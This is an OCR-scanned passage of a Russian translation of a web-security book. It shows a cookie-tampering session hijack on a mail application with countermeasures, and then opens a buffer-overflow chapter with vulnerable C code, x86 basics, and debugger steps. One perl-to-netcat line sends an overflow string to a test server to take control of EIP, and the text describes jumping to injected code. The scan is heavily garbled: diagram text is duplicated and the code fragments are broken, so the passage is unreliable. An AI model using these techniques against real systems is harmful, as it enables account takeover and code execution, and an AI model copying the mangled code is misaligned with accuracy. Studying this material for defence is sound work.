В состоянии просмотра списка входящих сообщений Алиса решила создать новое письмо, щелкнув на ссылке Compose левой панели. В результате броузер послал НТТР- запрос вместе с данными cookie по адресу http://ewebmaiLexamples.com/. После получения запроса приложение выполняет декодирование строки cookie с использованием механизма XOR и ,,узнает,,? что запрос пришел от Алисы. Именно так и создается логиче-
с кая связь пользователя с HTTP-запросом. А как узнать, что Алиса просматривает входящие сообщения? Вот здесь и может пригодиться комбинация :1, добавленная в конец строки cookie. Фрагмент :1 соответствует номеру состояния. В приложении cWebMail каждому состоянию соответствует свой номер, который передается между броузером и сервером. Значение 1 соответствует состоянию просмотра списка сообщений, 2 — состоянию чтения сообщения, 3 —— состоянию создания нового сообщения и т.д. Обнаружив в запросе строку ;1, приложение понимает, что Алиса находится в состоянии 1 до тех пор, пока она не решит перейти в состояние 3, т.е. в режим создания нового сообщения. После этого в приложении состоянием сеанса Алисы станет состояние 3. В переданном HTTP-ответе содержится форма для создания письма, показанная выше на рис. 13.2, а в строке cookie — :3. С этого момента броузер снова отсоединяется от Web- сервера (с точки зрения сетевых соединений).
Как только Алиса завершила создание нового сообщения, она щелкнула на кнопке Send В результате на узел е Web Mail был отправлен еще один HTTP-запрос. Полученные данные cookie был снова проверены, и сеанс Алисы был переведен из состояния создания письма к состоянию его отправки. Это временное состояние, переход из которого осуществляется автоматически. Как только сообщение было доставлено почтовой программе, сеанс Алисы опять был переведен в состояние просмотра входящих сообщений с идентификатором состояния :1. Когда Алиса щелкнула на кнопке Logoff, приложением была отправлена пустая строка cookie, что привело к удалению данных cookie из броузера Алисы. Сеанс работы Алисы с узлом eWebMail был завершен.
Приложения с сохранением состояния и без сохранения состояния
В предыдущем разделе рас сматривался сеанс работы Алисы с приложением eWebMail. Вы узнали, как в этом приложении отслеживается состояние сеанса в каждый момент времени. Однако можно ли говорить, что в этом приложении действительно сохраняется состояние? Каждый раз при передаче HTTP-запроса пользователь и состояние его сеанса определялись по полученным данным cookie. После этого приложение обрабатывало запрос и генерировало ответ в формате HTML. На рис. 13.13 представлено поведение приложения при получении НТТР-запроса.
Рис. 73-73. Диаграмма процессов приложения е WebMaH
Каждый получаемый приложением HTTP-запрос обрабатывается аналогичным образом. Следовательно, это приложение не является приложением с сохранением состояния. Этот термин подразумевает, что в приложении сеансы пользователей и состояния отслеживаются независимо друг от друга, т.е. отслеживание сеанса выполняется в серверной части приложения.
В рассматриваемом случае все связанные с отслеживанием пользовательского сеанса обязанности возложены на клиентский броузер. Механизм cookie является простым способом передачи информации броузеру, который будет использовать ее при передаче на сервер последующих запросов. Отслеживание сеансов в клиентской части приложения позволяет существенно упростить его разработку. Однако зачастую разработчики забывают о золотом правиле обеспечения безопасности Web - приложений: любая информация, получаемая Web-сервером извне, может оказаться модифицированной или даже испорченной. Именно это и произошло в рассмотренном примере атаки **Боб—Алиса—Чарльз0. Боб модифицировал данные cookie, в которых содержалась информация о состоянии сеанса. А это привело к тому, что приложение предоставило ему список сообщений, которые предназначались для Алисы. На рис. 13.14 показана схема атаки, реализованная Бобом.
ффHTTP-запрос: Боб регистрируется в системе. Приложение проверяет корректность введенных данныхHTTP-запрос: Боб регистрируется в системе. Приложение проверяет корректность введенных данныхHTTP-ответ: в броузере Боба отображается содержимое его папки входящих сообщенийHTTP-ответ: в броузере Боба отображается содержимое его папки входящих сообщенийВ броузере Боб помещает в свои данные cookie идентификатор АлисыВ броузере Боб помещает в свои данные cookie идентификатор Алисы♦| Inbox ]♦| Inbox ][E-mail J[E-mail J2НТТР-запрос: Боб передает запрос на просмотр списка почтовых сообщений, в котором С указан идентификатор ?Алис»Приложение извлекает из полученного запроса идентификатор пользователя2НТТР-запрос: Боб передает запрос на просмотр списка почтовых сообщений, в котором С указан идентификатор ?Алис»Приложение извлекает из полученного запроса идентификатор пользователяQQHTTP-ответ: в броузере Боба отобрвжватся перечень входящих сообщений Алисы.HTTP-ответ: в броузере Боба отобрвжватся перечень входящих сообщений Алисы.НТТР-запрос:Eic€ сгенерироапл запрос на уделение [ сообо^емияНТТР-запрос:Eic€ сгенерироапл запрос на уделение [ сообо^емия3HTTP-ответ: приложение I удалило сообщение из д. почтового ящика Ал исы. ③ В броузере Боба снова Д отображается папкаI вжодяшик сообщений\ Алисы3HTTP-ответ: приложение I удалило сообщение из д. почтового ящика Ал исы. ③ В броузере Боба снова Д отображается папкаI вжодяшик сообщений\ АлисыПрИЛОМС9МИ9 предостмлягг список,Г просто основываясь на полученном I идентификаторе пользователяПрИЛОМС9МИ9 предостмлягг список,Г просто основываясь на полученном I идентификаторе пользователяБоб успешно вревопг впся" вАлисуБоб успешно вревопг впся" вАлису
ф
ф
HTTP-запрос: Боб регистрируется в системе. Приложение проверяет корректность введенных данных
HTTP-запрос: Боб регистрируется в системе. Приложение проверяет корректность введенных данных
HTTP-ответ: в броузере Боба отображается содержимое его папки входящих сообщений
HTTP-ответ: в броузере Боба отображается содержимое его папки входящих сообщений
В броузере Боб помещает в свои данные cookie идентификатор Алисы
В броузере Боб помещает в свои данные cookie идентификатор Алисы
♦| Inbox ]
♦| Inbox ]
[E-mail J
[E-mail J
2
НТТР-запрос: Боб передает запрос на просмотр списка почтовых сообщений, в котором С указан идентификатор ?
Алис»
Приложение извлекает из полученного запроса идентификатор пользователя
2
НТТР-запрос: Боб передает запрос на просмотр списка почтовых сообщений, в котором С указан идентификатор ?
Алис»
Приложение извлекает из полученного запроса идентификатор пользователя
Q
Q
HTTP-ответ: в броузере Боба отобрвжватся перечень входящих сообщений Алисы.
HTTP-ответ: в броузере Боба отобрвжватся перечень входящих сообщений Алисы.
НТТР-запрос:
Eic€ сгенерироапл запрос на уделение [ сообо^емия
НТТР-запрос:
Eic€ сгенерироапл запрос на уделение [ сообо^емия
3
HTTP-ответ: приложение I удалило сообщение из д. почтового ящика Ал исы. ③ В броузере Боба снова Д отображается папка
I вжодяшик сообщений
\ Алисы
3
HTTP-ответ: приложение I удалило сообщение из д. почтового ящика Ал исы. ③ В броузере Боба снова Д отображается папка
I вжодяшик сообщений
\ Алисы
ПрИЛОМС9МИ9 предостмлягг список,Г просто основываясь на полученном I идентификаторе пользователя
ПрИЛОМС9МИ9 предостмлягг список,Г просто основываясь на полученном I идентификаторе пользователя
Боб успешно вревопг впся" вАлису
Боб успешно вревопг впся" вАлису
Рис. 13 14. Взаимодействие Боба с приложением е Web Mail
Управление данными cookie в броузере Netscape системы Unix
Поговорка "Нужда — мать всех изобретений** как нельзя лучше описывает ту мысль, которая пришла в голову одному из авторов этой книги при поиске способа фильтрации данных cookie в броузере Netscape системы Linux. Для системы Linux не существует программ, эквивалентных Cookie Pal. В результате при выполнении повседневной работы пользователи редко обращаются к постоянным данным cookie. Некоторые из них хранят в cookie свои личные регистрационные данные, чтобы их не приходилось вводить каждый раз при регистрации на раз-
личных узлах Internet. В общем, такое использование данных cookie является далеко не лучшим решением. Предложение авторов по фильтрации данных cookie в системе Linux заБслючается в удалении файла cookies.txt из каталога */.netscape и создании вместо него символьной ссылки cookies.txt, связанной с файлом /dev/null.
При использовании броузера Netscape для работы с каким-либо Web-приложением все данные cookie хранятся в оперативной памяти. Если броузеру передаются идентификационные данные постоянного использования, то они записываются на жесткий диск в файл cookies.txt. При реализации предпагаемого выше подхода эти постоянные данные размещаются в файле /dev/null! При закрытии окна броузера память освобождается, и все данные cookie удаляются. Таким образом, новый сеанс работы всегда будет начинаться без использования идентификационных данных. Такой подход оказывается гораздо лучше, чем простое отклюиение режима использования данных cookie с помощью параметров броузера. Иногда такие данные требуются для корректной работы приложений.
Некоторые броузеры, например Opera, предоставляют прекрасный механизм управления данными cookie. Этот броузер позволяет установить режим, когда все такие данные будут удаляться при выходе из программы. Это аналогично созданию символьной ссылки cookies.txt с файлом /dev/null.
Данные cookie и скрытые поля
Даже если приложение позволяет отслеживать состояние, все равно в нем должен быть реализован механизм передачи идентификатора сеанса между броузером и сервером. Такая необходимость возникает из-за того, что после передачи каждого ответа TCP-соединение разрывается. При получении другого запроса приложение должно каким-то образом определить, что передавший его пользователь ранее уже инициировал сеанс работы.
Передавать информацию между броузером и Web-сервером можно двумя способами: с использованием данных cookie и скрытых полей. Ниже рассматриваются некоторые достоинства и недостатки каждого подхода.
Cookie
Процесс обработки данных cookie тесно связан с броузером. Броузер передает соответствующие данные на Web-сервер вместе с HTTP-запросом, если они ранее были получены с того же сервера. Такие популярные броузеры, как Netscape, Internet Explorer и Opera, обрабатывают данные cookie достаточно хорошо.
Недостатком этого подхода является то, что на многих узлах данные cookie используются для отслеживания поведения пользователя. Зачастую механизм cookie приводит к нарушению конфиденциальности. К сожалению, в броузерах не реализованы встроенные механизмы, позволяющие избирательно разрешать и запрещать использование данных cookie. Для решения этой задачи могут оказаться полезными такие программы, как Cookie Pal.
По сравнению с использованием скрытых полей данный подход обладает существенным преимуществом. Оно заБслючается в том, что для передачи на сервер значений скрытых полей на каждой странице должна содержаться HTML-форма, а дпя обмена данными cookie никаких форм использовать не требуется.
Скрытые поля
Для передачи информации между броузером и Web-сервером могут использоваться также скрытые поля HTML-форм. Преимущество скрытых полей заключается: в том, что их можно использовать даже после полного отключения механизма cookie.
Однако оба метода передачи информации связаны с опасностью подмены информации. При работе с Web -приложением можно изменить как данные cookie, так и значения скрытых полей. Именно поэтому очень важно продумать и реализовать механизмы отслеживания сеансов и использования идентификаторов сеансов.
Реализация механизмов отслеживания сеансов и сохранения состояний
Перехват сеанса возможен в тот момент, когда Web - приложение оказывается полностью зависимым от обработки информации о сеансах и состояниях в клиентской части. В некоторых случаях подмену идентификаторов можно выполнить, даже несмотря на реализацию механизма отслеживания сеансов в серверной части. В рассмотренной выше атаке Боб легко подменил идентификатор сеанса, вьшолнив обратное проектирование. Если для исследования идентификаторов сеансов выполнялось несколько предварительных атак, то последующий перехват сеанса может оказаться гораздо проще. Поэтому реализации адекватных методов отслеживания сеансов и сохранения состояний необходимо уделять самое пристальное внимание.
Основываясь на опыте, приобретенном в процессе тестирования защищенности Web - приложений, авторы сформулировали ряд правил реализации механизма поддержки сеансов и отслеживания состояний. Эти правила ни в коей мере не являются исчерпывающими или применимыми ко всем Web - приложениям. Скорее, их нужно рассматривать как рекомендации, которыми следует руководствоваться при разработке механизмов отслеживания сеансов и состояний.
Идентификаторы сеансов должны быть уникальными
В каждом Web - приложении между броузером и Web-сервером должен устанавливаться логический сеанс взаимодействия. Именно для этого между броузером и сервером должна Бсурсировать строка или последовательность данных, называемая идентификатором сеанса. Желательно, чтобы каждый пользовательский сеанс можно было распознать по уникальному идентификатору, который не использовался бы повторно в других сеансах. Даже если один и тот же пользователь регистрируется в системе повторно, для него должен генерироваться новый идентификатор сеанса.
Идентификаторы сеансов должны быть сложными
Наиболее простой способ выявления "слабых” идентификаторов заключается: в быстром создании множества сеансов или многократном их создании/разрушении в течение короткого периода времени. Идентификаторы сеансов, которые последовательно увеличиваются, используют временные метки или основаны на каком-либо другом шаблоне, должны вызывать большое беспокойство. Такие идентификаторы се-
ансов плохо защищены от последовательности предварительных атак, на основе которых взломщик сможет перехватить сеанс, успешно сгенерировав идентификаторы сеансов, совпадающие с идентификаторами текущих пользователей приложения.
Случайные идентификаторы сеансов можно сгенерировать на основе случайного числа, текущего времени и какого-либо специального числа. На основе этих данных можно сгенерировать хэш-код, который и будет использоваться в качестве идентификатора сеанса. Вероятность совпадения хэш-кодов довольно низка, так что с их помощью успех предварительных атак можно свести практически к нулю.
Идентификаторы сеансов должны быть независимыми
Идентификаторы сеансов не должны основываться на именах пользователей, паролях или состояниях приложения. В серверной части можно подцерживать справочную таблицу, которая будет использоваться для связывания идентификаторов сеансов, регистрационных данных пользователя и состояния приложения.
Идентификаторы сеансов должны быть связаны с клиентскими соединениями
Во избежание перехвата и повторного использования идентификатора сеанса взломщиком, который находится в той же сети, что и пользователь приложения, на сервере нужно отслеживать IP-адрес клиентского узла и время создания сеанса. Идентификатор сеанса должен быть связан с данными о клиентском соединении. При получении каждого клиентского запроса информация о текущем соединении должна сравниваться с данными, хранящимися на сервере. При обнаружении несоответствия сеанс должен быть автоматически завершен.
Желательно, чтобы идентификатор сеанса после его создания на сервере передавался в клиентский броузер только один раз и через безопасное соединение SSL. Такой подход позволит предотвратить атаки, направленные на перехват сеанса.
Резюме
Перехват сеанса Web -приложения осуществить гораздо сложнее, чем большинство других атак. Однако при этом можно достичь разрушительного эффекта. Вне всякого сомнения, возможность реализации подобных атак обусловлена наличием ошибок, допущенных в процессе разработки приложений. Эти изъяны появляются как результат неудачного проектирования или реализации механизма отслеживания сеансов. Никакие модули обновления операционной системы, брандмауэры или конфигурационные параметры Web-сервера не смогут предотвратить атаки, направленные на перехват сеансов. В этой главе была описана одна из таких атак. Кроме того, были приведены контрмеры, которые позволяют обеспечить для Web -приложения необходимый уровень защиты. Каждый разработчик приложений для Web должен уделять большое внимание вопросам проектирования и реализации механизмов отслеживания сеансов и состояний. В состав современных Web-серверов входят встроенные механизмы отслеживания сеансов, а также программные интерфейсы, которые можно использовать для доступа к этим механизмам в процессе разработки Web-приложений.
ГЛАВА 14
Переполнение буфера "налету"
Незначительная ошибка способна привести к отклонению на тысячу миль.
Китайская пословица
Введение
В этой главе рассматриваются наиболее коварные из известных атак. Они базируются на практически незаметных изъянах, которые с большим трудом поддаются обнаружению и исправлению. Эти изъяны существуют в коммерческом программном обеспечении, например сервере Internet Information Server компании Microsoft, сервере баз данных корпорации Oracle и сервере Java Web Server компании Sun. Эти изъяны подсистемы защиты нельзя найти и устранить самостоятельно. В отличие от Web- приложений, ориентированных на конкретного заказчика, коммерческие приложения контр олируются одним пр оизводителем и обычно на их развитие пользователи не оказывают практически никакого влияния.
Изъяны в подсистеме защиты коммерческих приложений гораздо проще обнаруживать и использовать, чем ошибки приложений, ориентированных на конкретного заказчика. Причина заключается в том, что взломщики могут без труда получить, декомпилировать и сгенерировать ассемблерный код этих программ, чтобы разобраться, что и как они делают. Обладая полученными знаниями, взломщик может быстро и легко найти уязвимые места.
Пример
Ночью, в 2:24, хакер N3urOn (с настоящим именем Нейрон (Neuron)), только что проснувшись и завтракая, услышал характерный звук компьютера. Арахисовое масло, мед и сэндвичи могли бы хорошо подкрепить его на следующие тридцать шесть часов, как, впрочем, и шесть банок холодного пива Red Bulls.
Приятель Нейрона по сети IRC, F14r3 (с реальным именем <1>лзр (Rare)), отчаянно пытался с ним связаться. Комнату наполнил громкий звон, который проникал сквозь стены спальни и даже достиг кухни. Нейрон всегда крепко спит. Поэтому во время отдыха он увеличивает громкость своего компьютера до максимального значения.
Хотя Нейрон был не в состоянии быстро шевелить ногами, услышав характерный звук, он сразу же бросился к компьютеру и откликнулся на вызов.
(евгвал]
<fl4r3> ты в сети????
[сигвал)
<£14гЗ> ты здесь, N???
<n3ur0n> да! Здесь, я завтракаю
<f 14гЗ> у меня получилось удаленно стекерироватъ...
<f 14гЗ> переполнение на iis6
<n3ur0n> ты воспользуешься этим?
<F14r3> ты же знаешь, я не работав с продуктами Microsoft
[Флэр был тайным хакером системы NT и считал пЗигОп своим наставником...]
<F14r3> Ты это сможешь сделать?
<n3ur0n> конечно, дай мае информацию
[Флэр отправляет файл с подобным описанием проделанной операции..•]
<N3ur0n> я получил...
<M3urOn> дай мне пару дней...
То, что сделал Флэр, было анализом подсистемы защиты Web-сервера IIS 6.0 системы Windows ХР. Им был обнаружен один из изъянов. Как ему удалось этого добиться? Насколько трудно воспользоваться полученными сведениями на практике? В этой главе подробно рассматриваются приемы, ежедневно используемые хакерами для взлома программных продуктов, поиска в них условий переполнения буфера и разработки средств взлома, с помощью которых можно воспользоваться обнаруженными изъянами.
Переполнение буфера
Для начала следует ознакомиться с некоторыми полезными средствами и получить немного дополнительной информации. Чтобы понять материал этой главы, необходимо обладать хотя бы минимальными знаниями в следующих областях:
язык ассемблера для процессоров х86;
язык программирования С;
основы отладки программ.
Кроме того, для получения максимальной пользы от рассматриваемого материала и лучшего усвоения приведенных примеров необходимо ознакомиться с рядом программных продуктов.
SoHIcc от KOMnaHHiCompuxsarc(http://ww.coepuware.coB).
Msual </ '卜 от компании Microsoft (или любой другой компилятор C++) (http:// www.microsoft.com/vstudio),
Interactive Dissassembler Pro от компанииОаШRescue (http://www.datarescue.com).
Netcat от хакера Хоббита (Hobbit) (http://packetstoni.deceptions.org/unix- exploits/network-scanners/).
Perl от компании Active State (http:/ /www. activestate. com).
W32Dasm от компании URSoftware Co. (http: //велЬегв. heme. Det/v32dasm/).
Простейшее переполнение буфера
Переполнение буфера происходит в том случае, когда размер записываемых данных превышает объем памяти, зарезервированный для выполнения этой операции. При этом данные записываются в область памяти, находящуюся за пределами зарезервированного участка. Можно поспорить, что они наверняка попадут далеко не в самое лучшее место.
Рассмотрим следующий фрагмент кода:
void 丁.‘erflw(void)
<
char •nameг*hackingexposedhacklngexposedhackingexposed*,;
char buff[10];
strcpy(buff, name);
return;
}
Для хранения переменной buff вьщеляется 10 байт (char buff [10]). Затем строка, адрес которой содержится в указателе *пате, копируется в буфер (buff (10]). Поскольку длина строки по адресу *па»е гораздо больше размера буфера, используемого для ее обработки, в памяти возникнет переполнение данных. Где же размешаются дополнительные символы и как их можно использовать? Перед тем как отправиться дальше, рассмотрим еще несколько фундаментальных принципов.
Краткие сведения о языке ассемблера
Ассемблер — язык низкого уровня, написанный с учетом архитектуры определенного центрального процессора. Существуют многочисленные разновидности этого языка, наиболее популярными из которых являются Intel 80x86, SPARC, RISC и
Digital. Язык ассемблера позволяет программисту взаимодействовать с аппаратными средствами напрямую, например открыть по следовательный порт, перезаписать содержимое оперативной памяти или нарисовать линию на экране. Подробное рассмотрение языка ассемблера не входит в задачи этой книги. Однако кратко познакомиться с этим низкоуровневым миром машинных команд все же будет не лишним. В этом разделе обсуждается лишь та информация, без которой нельзя обойтись при рассмотрении материала данной главы.
Язык ассемблера является "родным” языком компьютерных систем. При написании программ на этом языке используются инструкции центрального процессора. При этом разработчик имеет полный доступ к процессору без каких-либо ограничений и дополнительного кода, без которого нельзя обойтись при использовании высокоуровневых языков программирования. Вообще, программы на языке ассемблера являются более компактными и быстрыми, а также занимают меньший объем памяти по сравнению с аналогичными программами на языках более высокого уровня. Кроме того, такие программы прекрасно подходят дая сокрытия ошибок!
Регистры общего назначения
Любой, кто пробовал скопировать файл размером 2 Мбайт на гибкий диск объемом 1.44 Мбайт, прекрасно знает, что собой представляют байты (или, как минимум, испытывает их недостаток). Байты предназначены для конечных пользователей, поскольку на самом деле данные хранятся в битах (двоичных единицах и нулях). В стандартном центральном процессоре байт состоит из 8 битов и позволяет хранить числа от 0 до 255.
Бит
1
2
3
4
5
6
7
8
Значение
128
64
32
16
8
4
2
1
Примеры
3
=
0
•0
0
0
0
0
1
1
129
=
1
0
0
0
0
0
0
1
255
=
1
1
1
1
1
1
1
1
Хранение битов и выполнение над ними различных операций осуществляется в регистрах центрального процессора. В основном используются регистры четырех типов: 8-, 16-, 32- и 64-битовые. В предыдущих примерах использовался регистр, размер которого равен 8 бит.
Как правило, регистры общего назначения являются 16-битовыми и называются АХ, ВХ, СХ и DX. Все эти регистры могут использоваться без каких бы то ни было ограничений, хотя в различных ситуациях они могут играть определенную роль. До появления процессора 80386 каждый 16-битовый регистр общего назначения состоял из старшей и младшей части, по 8 бит каждая. Таким образом, регистр АХ состоял из частей AL И АН, ВХ - ИЗ BL И ВН, СХ - CL И CH, a DX - ИЗ DL И DH.
Вот пример регистра АХ, в котором содержится число 25 263.
АН 11000101 心 0101111
Над каждой из восьмибитовых половин регистров операции можно выполнять напрямую. При этом выполняемые действия будут отражаться на значении регистра в целом. При переходе компьютерной техники к 32-битовому представлению данных регистры также были расширены, чтобы обеспечить согласованность с этим увеличением разрядности. Так, символ Е используется для представления 32-битового регистра. Конечно, после увеличения разрядности регистров по-прежнему можно работать отдельно с их 8- или 16-битовой частями.
EAX [AH/AL]: Накопительный регистр (Accumulator). В основном регистр ЕАХ используется при выполнении операций ввода-вывода, арифметических операций и вызове функций
ЕВХ [BH/BL): Базовый регистр (Base). В нем часто содержится адреса сегмента
ЕСХ [CH/CL]:Регистр -счетчик (Count). Он используется при выполнении циклов и
других повторяемых действий
EDX [DH/DLJ: Регистр данных (Data). Этот регистр используется при выполнении операций ввода-вывода и арифметических операций. Регистры общего назначения можно использовать по своему усмотрению. Однако при выполнении некоторых операций каждый регистр может играть определенную роль
Регистры-указатели и индексные регистры
Регистры-указатели являются 16-битовыми и в основном используются при выполнении строковых операций. Существуют три регистра-указателя и два индексных регистра.
Указатель стека Всегда указывает на вершину стека. Более подробная информация о стеке содержится ниже
ЕВРБазовый указатель Обычно используется для доступа к переменным
стека
ESI и EDI Индекс источника и Обычно эти индексные регистры называются индекс назначения строковыми и используются при обработке строк байтов
EIPСчетчик команд Определяет следующую инструкцию, которая будет
выполнена. Управляя счетчиком команд, можно управлять процессом выполнения программы
Стек
Это специальная область памяти, используемая для следующих целей:
хранения адресов возврата функций;
хранения значений регистров;
хранения значений переменных.
Стек можно представить как набор пластин, сложенных в пирамиду. Удалить или добавить пластину можно только с вершины пирамиды. Процесс удаления пластины называется pop (вытолкнуть), а добавления — push (протолкнуть). Такой стек называется также LIFO (Last In First Out —^последним пришел — первым обслужен**). При вызове функции значения регистров, параметры функции, переменные и адрес возврата ** проталкиваются'' в стек. Поскольку память, распределяемая под стек, размещается перед адресом возврата, можно достигнуть границ выделенной области, перезаписать значение адреса возврата и передать управление по любому другому адресу. Именно так и можно добиться переполнения буфера.
Инструкции языка ассемблера
Перед написанием собственной утилиты взлома следует познакомиться с несколькими инструкциями языка ассемблера. В табл. 14.1 представлены некоторые инструкции, которые необходимо изучить перед запуском компилятора.
Таблица 14.1.Основные инструкции ассемблера
Общие инструкции
pop цель
Извлечь данные из стека
push цель
Поместить данные в стек
movцель, источник
Переместить или скопировать байт, слово или двойное слово между регистрами или между регистрами и памятью
Адресные инструкции lea цель, источник
Загрузить эффективный адрес
add цель, источник
Добавить байт, слово или двойное слово
inc источник
Инкрементировать
Дополнительные инструкции
стр цель, источник
Выполнить сравнение
dec цель
Декрементировать байт, слово или двойное слово
sub цель, источник
Логические инструкции
Выполншь вычитание
хог “е〃ь, источник
Выполнить логическую операцию исключающего ИЛИ (XOR)
test цель, источник
Проверить биты
or цель, источник
Выполнить логическую операцию ИЛИ (OR)
shr цель, количество
Выполнить сдвиг битов вправо на заданное количество позиций
add щвльг источник
Добавить байт, слово или двойное слово
Инструкции сдвига
shl цель, количество
Выполнить сдвиг битов влево на заданное количество позиций
shr цель, количество
Выполнить сдвиг битов вправо на заданное количество позиций
Инструкции безусловного перехода call цель
Вызов процедуры
jmp мешка
Безусловный переход
ret значение
Возврат из процедуры
Отслеживание "злонамеренных" байтов
Теперь возвратимся к тому, на чем мы остановились выше. Вернемся к тому же фрагменту кода и подробно рассмотрим, как центральный процессор его обрабатывает и что содержится в оперативной памяти, стеке и регистрах во время его выполнения. Вот этот фрагмент: void overflow (void) { char *nm«whacklngexpo8edhacklti9expo&edhackingexposed'*;
char buff (10];
strcpyfbuff, папе); <= return;
При запуске процедуры "переполнения” (в процессе выполнения функции overf low()) содержимое стека в точке, обозначенной символами <=, выглядит следующим образом: адоес *пале адоес buff данные buff значение регистра ebp адоес возврата
При вызове функции strcpy()все байты строки *пале помещаются в буфер buff, содержащийся в стеке. Дополнительные байты записываются поверх ранее сохраненного значения регистра ЕВР и адреса возврата. При завершении выполнения функции overt low () содержимое регистра ЕВР восстанавливается из стека, т.е. из стека извлекается сохраненный ранее адрес возврата.
В нормальной ситуации в счетчике команд (EIP) содержится адрес ближайшей после вызова функции инструкции. Поскольку обратный адрес был замещен другими байтами, регистр EIP будет указывать на другое местоположение. В результате при запуске программы на экране появится сообщение Application Error, прекрасно знакомое в мире хакеров (рис. 14.1).
Рис. 14.1. Сообщение об ошибке Application Error
Однако рассмотрим эти байты подробнее. Первое значение, 0x70786567, является шестнадцатеричным представлением подстроки рхед, входящей в состав строки hacking exposed. Таким образом, значение счетчика команд можно модифицировать с помощью функции strcpy() А это значит, что можно кардинально изменить ход выполнения программы, разместив в регистре EIP адрес кода, помещенного в память при переполнении. Что произойдет, если в буфере buff разместить машинный код (двоичное представление ассемблерных инструкций) и модифицировать содержимое регистра EIP так, чтобы он на этот код указывал? Остается только надеяться, что практически каждая компания-разработчик программного обеспечения будет уделять внимание вопросам безопасности. В противном случае любую команду на удаленном компьютере можно будет выполнить даже без подбора пароля. Другими словами, мир был бы в наших руках.
Пример переполнения буфера
Рассмотрим интересный пример, а также проанализируем, как из сложившейся ситуации можно извлечь максимальную выгоду.
Есть три возможности поиска изъянов переполнения буфера.
Просмотр исходного кода.
Дизассемблирование.
Работа в предельном режиме.
Если условий переполнения буфера требуется достигнуть в системе Windows (что и рассматривается в данной главе), то действия ограничиваются двумя последними возможностями. Ниже рассматриваются достоинства и недостатки каждой из них.
Дизассемблирование
Это представление двоичной исполняемой программы (т.е. программного обеспечения) на языке ассемблера или в виде инструкций центрального процессора, выполняемых на компьютере. Если вы всерьез подумываете о подобном обратном проектировании, то стоит воспользоваться единственным лучшим средством — Interactive Disassembler Professional от компании Datarescue.
В мире Windows, в котором исходный код, как правило, недоступен, способность нчитать между строк** является невероятно ценным качеством. Чтобы обнаружить изъяны посредством этого метода, необходимо понимать, как высокоуровневые функции преобразуются в ассемблерный код. Для примера рассмотрим простой фрагмент исходного кода на языке С.
int vuln(char *user)
{
char buffer[500];
sprlntf(bufferr "4s - некорректное имя пользователяЛг user);
return 1;
}
Аргумент с заданной пользователем дайной user копируется в буфер (buffer) размером 500 байт. Поскольку количеством передаваемых данных, которые размещаются в буфере, можно управлять, это позволяет выйти за пределы вьщеленного диапазона и выполнить произвольный код.
После дизассемблирования исходный код выглядит следующим образом:
mov eax, |ebp*8| push еах
push offset aSIsAnlnvalidUs ; "*s — некорректное имя пользователя"
lea есх, [ebp-lF4h] push есх call _sprintf
Обратите внимание на ряд важных моментов. Параметры помещаются в стек в обратном порядке. С одной стороны, почти каждая инструкция, которая ссылается на область памяти, расположенную выше адреса, заданного в регистре ЕВР (например, [ebp+8]), ссылается на параметр процедуры. С другой стороны, при ссылке на локальные переменные используется отрицательное смещение относительно адреса ЕВР (например, [ebp-lF4h]).
Так что же происходит? Параметр, ссылка на который имеет вид [еЬр+8] (пользовательская строка), помещается в регистр еах, а затем проталкивается в стек. Следующим в стек записывается второй аргумент функции sprintf. Здесь 0xlf4 соответствует десятичному числу 500 (размеру буфера). После завершения обратного проектирования можно без особых проблем выявить подобные вызовы. Пока в памяти еще свежи полученные сведения, ничто не может помешать анализу низкоуровневого преобразования функций.
Работа в предельном режиме
Перед реализацией атаки, например на почтовый сервер, вместо безрассудного погружения в ассемблерный код стоит обратиться к документации. Из документа RFC, в котором описывается протокол SMTP, можно извлечь всю необходимую информацию о
командах, используемых на сервере по умолчанию. Исходя из полученных знаний, можно сделать вывод, что для реализации атаки в качестве параметра какой-либо команды достаточно отправить длинную строку. Сделать это проще простого.
Хорошим инструментом для выпаанения тестирования является свободно распространяемая утилита NTOMax от компании Foundstone (http://www. foundstone. с от).
Из фрагмента исходного кода chUserver.c видно, где располагается опасный код. void crash (void) {
char buff(14OO|;
strcpy(buffr rbuff);
return;
}
Полученные через сокет данные хранятся в переменной rbuff, а затем передаются в буфер buff размером 1400 байт без какой бы то ни было проверки границ. Таким образом, абсолютно очевидно, что если передать более 1400 байт данных, то можно разместить информацию поверх дополнительной области памяти. Проверим, удастся ли наложить данные поверх чего-нибудь важного. Для начала запустим программу chl4server.exe:
С:\> chl48erver.exe
Затем загрузим программу Soft Ice и нажмем комбинацию клавиш <Ctrl+D>. При работе в системе Win9x достичь поставленной цели можно с помощью команды faults on, которая позволяет перехватить любое нарушение доступа к памяти. Однако при работе в системах Windows NT или 2000 одной команды faults on недостаточно. К сожалению, при использовании программы Softlce в этих операционных системах могут возникать некоторые проблемы. Вместо этого воспользуемся следующей командой:
bpx kiuserexcoptiondispatcher do *u ・(*”р*0с)"
Эта команда позволяет установить тоику прерывания на обработчик прерываний системы NT и дизассемблирует адрес, определяемый выражением esp+Oc. Этот адрес определяет место, где произошло исключение. Введем в командной строке следующую команду:
С:\> perl -е 'print ”х” х 1400 . *abcd\n* * |nc yourhost 9999
С помощью этой команды на ТСР-порт 9999 передается 1400 байт символа х, а затем 4 байта abed. В действительности эти данные не могут разместиться нигде, кроме важных областей оперативной памяти. Чтобы проиллюстрировать эту ситуацию, на рис. 14.2 показано диалоговое окно отладчика Visual C++.
Рис. 14.2. Содержимое регистра EIP замещено строкой Abed
Обратите внимание на левую верхнюю часть экрана, где содержимое счетчика команд было заменено шестнадцатеричным представлением 0x64636261 дополнительно переданной строки abed.
Теперь, когда процессор находится под контролем, куда можно двигаться дальше? Существует несколько возможностей. Одна из них связана с перемсшенисм стека, но, к сожалению, система Windows не отличается надежностью. Поэтому реализацию такой возможности вряд ли можно считать хорошим выбором. Неплохо было бы обладать информацией о структуре стека или воспользоваться достаточно большой последовательностью команд NOOP (no operation), что позволило бы достичь цели. Разумеется, желательно получить надежное решение. Второй вариант должен обеспечить переход к процессу или библиотеке DLL, в контексте которых и выполнится код. Обратимся к регистрам и посмотрим, с чем придется иметь дело.
Можно быстро определить, что одним из регистров, указывающих на что-либо полезное, является ESI, который указывает прямо на буфер. Это можно проверить, воспользовавшись командой d esi в программе Softlcc. Было бы идеально, если бы в память удалось загрузить фрагмент кода, выполняющий команду call esi или jup esi. При этом будет выполнен код, расположение которого в памяти определяется этим регистром. Лучше всего непосредственно воспользоваться самим исполняемым кодом, поскольку он остается статическим.
